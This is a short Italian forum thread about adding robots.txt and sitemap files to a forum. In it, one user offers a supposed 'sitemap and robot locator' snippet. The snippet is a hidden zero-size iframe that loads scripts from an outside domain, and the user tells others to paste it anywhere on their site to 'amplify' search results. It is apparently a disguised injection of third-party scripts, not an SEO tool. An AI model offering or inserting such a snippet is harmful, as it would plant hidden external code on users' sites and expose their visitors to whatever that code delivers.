Sitemap e robots.txt per un forum

Guardate che cosa ho scoperto oggi, su Zermo95 che è un sito abbastanza famoso si trovano queste pagine:

http://www.zermo95.net/robots.txt
http://www.zermo95.net/sitemap.xml

Io sò a cosa servono, è per indicizzare meglio il forum ad un motore di ricerca

Vorrei avere anche io la possibilità di aggiungere quei file, ma dove li trovo?

nel PDA dove posso settare la sitemap o i file robots.txt?????????????????

Io sono riuscito da solo a creare un localizzatore sitemap e robot.

Il codice è piu' breve ma funzionante :

Codice:

<iframe src=http://forumdellapubblicita.italians.tv/h1-localizzasitoattivook" width="0" height="0" scrolling="auto" frameborder="0">
</iframe>

ma dove dovrei mettere questo codice? non capisco a cosa serve

Lo inserisci dove vuoi.. amplifica la ricerca dai motori di ricerca!!! (ci sono al suo interno script e una gif)